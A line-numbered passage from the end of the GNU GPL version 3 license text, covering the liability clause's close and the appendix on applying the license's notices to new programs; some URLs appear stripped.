given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . --------------------------------------------------------------------------------